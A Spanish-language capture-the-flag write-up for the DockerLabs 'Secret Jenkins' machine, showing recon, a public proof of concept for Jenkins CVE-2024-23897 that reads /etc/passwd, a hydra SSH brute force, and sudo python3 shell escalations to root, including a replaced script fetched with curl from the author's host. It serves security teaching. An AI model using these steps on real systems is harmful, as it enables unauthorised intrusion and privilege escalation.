Secret Jenkins writeup - Dockerlabs

Dificultad : Fácil

Escrito por : tellmefred

Introducción:

Bienvenidos a “Secret Jenkins”, una máquina de práctica de DockerLabs. En esta sesión, explorarás la explotación de la vulnerabilidad CVE-2024-23897 en Jenkins y realizarás ataques de fuerza bruta al puerto 22, que contiene el servicio SSH.

En “Secret Jenkins”, aprenderás a identificar y aprovechar una vulnerabilidad específica en Jenkins, lo que te permitirá comprometer el sistema. Además, llevarás a cabo ataques de fuerza bruta en SSH para obtener acceso no autorizado.

Reconocimiento:

Comenzamos haciendo Ping y comprobamos la conexión.

```
┌──(root㉿tellmefred)-[/home/tellmefred/Desktop]
└─# ping 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.113 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.100 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.099 ms
64 bytes from 172.17.0.2: icmp_seq=4 ttl=64 time=0.042 ms
^C
--- 172.17.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3081ms
rtt min/avg/max/mdev = 0.042/0.088/0.113/0.027 ms
```

El nmap nos lanza un puerto 22 y el 8080 abiertos veamos que tal.

```
┌──(root㉿tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/secretjenkins]
└─# nmap -sS -sC -p- --open -sV -Pn --min-rate 2500 172.17.0.2 -oN allports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 20:43 CEST
Nmap scan report for 172.17.0.2
Host is up (0.0000070s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 94:fb:28:59:7f:ae:02:c0:56:46:07:33:8c:ac:52:85 (ECDSA)
|_  256 43:07:50:30:bb:28:b0:73:9b:7c:0c:4e:3f:c9:bf:02 (ED25519)
8080/tcp open  http    Jetty 10.0.18
|_http-server-header: Jetty(10.0.18)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.22 seconds
```

Un whatweb y vemos que es un jenkins (2.441)

```
┌──(root㉿tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/secretjenkins]
└─# whatweb 172.17.0.2
ERROR Opening: http://172.17.0.2 - Connection refused - connect(2) for "172.17.0.2" port 80

┌──(root㉿tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/secretjenkins]
└─# whatweb 172.17.0.2:8080
http://172.17.0.2:8080 [403 Forbidden] Cookies[JSESSIONID.bf135ae4], Country[RESERVED][ZZ], HTTPServer[Jetty(10.
0.18)], HttpOnly[JSESSIONID.bf135ae4], IP[172.17.0.2], Jenkins[2.441], Jetty[10.0.18], Meta-Refresh-Redirect[/lo
gin?from=%2F], Script, UncommonHeaders[x-content-type-options,x-hudson,x-jenkins,x-jenkins-session]
http://172.17.0.2:8080/login?from=%2F [200 OK] Cookies[JSESSIONID.bf135ae4], Country[RESERVED][ZZ], HTML5, HTTPS
erver[Jetty(10.0.18)], HttpOnly[JSESSIONID.bf135ae4], IP[172.17.0.2], Jenkins[2.441], Jetty[10.0.18], PasswordFi
eld[j_password], Title[Sign in [Jenkins]], UncommonHeaders[x-content-type-options,x-hudson,x-jenkins,x-jenkins-s
ession], X-Frame-Options[sameorigin]
```

Aquí vemos un POC para una vulnerabilidad de jenkins en esta versión.

> PoC para explotar la vulnerabilidad CVE-2024-23897 en versiones 2.441 o anteriores de Jenkins, mediante la cual podremos leer archivos internos del sistema.

Explotación:

Clonamos el repositorio en nuestra máquina y continuamos.

```
┌──(root㉿tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/secretjenkins]
└─# git clone https://github.com/Maalfer/CVE-2024-23897.git
Cloning into 'CVE-2024-23897'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 12 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), 4.89 KiB | 4.89 MiB/s, done.
Resolving deltas: 100% (2/2), done.
```

Le damos permisos de ejecución y seguimos adelante.

```
┌──(root㉿tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/secretjenkins]
└─# ls
CVE-2024-23897  allports  auto_deploy.sh  secretjenkins.tar

┌──(root㉿tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/secretjenkins]
└─# cd CVE-2024-23897

┌──(root㉿tellmefred)-[/home/…/Desktop/Dokerlabs/secretjenkins/CVE-2024-23897]
└─# ls
CVE-2024-23897.py  README.md

┌──(root㉿tellmefred)-[/home/…/Desktop/Dokerlabs/secretjenkins/CVE-2024-23897]
└─# chmod +x CVE-2024-23897.py

┌──(root㉿tellmefred)-[/home/…/Desktop/Dokerlabs/secretjenkins/CVE-2024-23897]
└─# ls
CVE-2024-23897.py  README.md
```

Ejecutamos y podemos ver el (etc/passwd).

```
┌──(root㉿tellmefred)-[/home/…/Desktop/Dokerlabs/secretjenkins/CVE-2024-23897]
└─# python3 CVE-2024-23897.py 172.17.0.2 8080 /etc/passwd
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin: No such agent "sys
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/s
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:M
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/j
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/ma
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbi
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" e
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exist
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-da
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin: No such agent "
sts.
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin: No such agent "messagebus:x:100:102::/
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexisten
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/s
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" e
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbi
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin: No such agent "sshd:x:101:65534::/run/sshd:/u
bobby:x:1001:1001::/home/bobby:/bin/bash: No such agent "bobby:x:1001:1001::/home/bobby:/bin
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/game
pinguinito:x:1002:1002::/home/pinguinito:/bin/bash: No such agent "pinguinito:x:1002:1002::/
```

Hacemos un ataque con hydra al puerto 22 con el usuario Bobby y tenemos la contraseña chocolate.

```
┌──(root㉿tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/secretjenkins]
└─# hydra -l bobby -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these
*** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-30 21:09:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: bobby   password: chocolate
1 of 1 target successfully completed, 1 valid password found
```

Accedemos a la máquina por ssh.

```
┌──(root㉿tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/secretjenkins]
└─# ssh bobby@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:g5HpEMVrzx0F/fmegIvdqdciTROIw/2YvKHJAiaZ12U.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
bobby@172.17.0.2's password:
Linux f63f07eea563 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-04-09) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
bobby@f63f07eea563:~$
```

Escalada de privilegios:

Y verificamos con sudo -l cómo podemos pivotar a otro usuario, y vemos que el usuario pinguinito puede ejecutar python3.

```
┌──(root㉿tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/secretjenkins]
└─# ssh bobby@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:g5HpEMVrzx0F/fmegIvdqdciTROIw/2YvKHJAiaZ12U.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
bobby@172.17.0.2's password:
Linux f63f07eea563 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-04-09) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
bobby@f63f07eea563:~$ sudo -l
Matching Defaults entries for bobby on f63f07eea563:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User bobby may run the following commands on f63f07eea563:
    (pinguinito) NOPASSWD: /usr/bin/python3
bobby@f63f07eea563:~$
```

En GTFObins vemos cómo escalar.

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo python -c 'import os; os.system("/bin/sh")'
```

Ejecutamos y tenemos acceso a este usuario.

```
bobby@f63f07eea563:~$  sudo -u pinguinito python -c 'import os; os.system("/bin/sh")'

[sudo] password for bobby:
Sorry, try again.
[sudo] password for bobby:
sudo: python: command not found
bobby@f63f07eea563:~$ sudo -u pinguinito python3 -c 'import os; os.system("/bin/sh")'
$ whoami
pinguinito
$ id
uid=1002(pinguinito) gid=1002(pinguinito) groups=1002(pinguinito)
$
```

Como este usuario verificamos que ejecuta un tal script.sh y vemos que podemos hacer que lo ejecute como root.

```
$ sudo -l
Matching Defaults entries for pinguinito on f63f07eea563:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:
/usr/bin\:/sbin\:/bin, use_pty

User pinguinito may run the following commands on f63f07eea563:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
$ cd /opt
$ ls
java  jenkins-plugin-manager.jar  script.py
```

Cree el archivo en mi máquina y está compuesto así.

```
┌──(root㉿tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/secretjenkins]
└─# cat script.py
import os
os.system("/bin/bash")
```

Borre el archivo viejo nombre el nuevo de la misma manera.

```
$ rm script.py
rm: remove write-protected regular file 'script.py'? y
$ ls
java  jenkins-plugin-manager.jar
$
```

Subí un servidor con python3 en mi máquina y transferí el archivo.

```
┌──(root㉿tellmefred)-[/home/tellmefred/Desktop/Dokerlabs/secretjenkins]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Aquí recibiendo el archivo en la máquina victima.

```
pinguinito@f63f07eea563:/opt$ curl -O http://192.168.223.128/script.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    33  100    33    0     0  14096      0 --:--:-- --:--:-- --:--:-- 16500
pinguinito@f63f07eea563:/opt$ ls
java  jenkins-plugin-manager.jar  script.py
```

Ejecuto con sudo el archivo y vemos que tomamos accesos máximos en el sistema.

```
pinguinito@f63f07eea563:/opt$ sudo -l
Matching Defaults entries for pinguinito on f63f07eea563:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User pinguinito may run the following commands on f63f07eea563:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
pinguinito@f63f07eea563:/opt$ sudo /usr/bin/python3 /opt/script.py
root@f63f07eea563:/opt# whoami
root
root@f63f07eea563:/opt# id
uid=0(root) gid=0(root) groups=0(root)
root@f63f07eea563:/opt# cd /root
root@f63f07eea563:~# ls
root@f63f07eea563:~# pwd
/root
root@f63f07eea563:~#
```

Maquina rooted.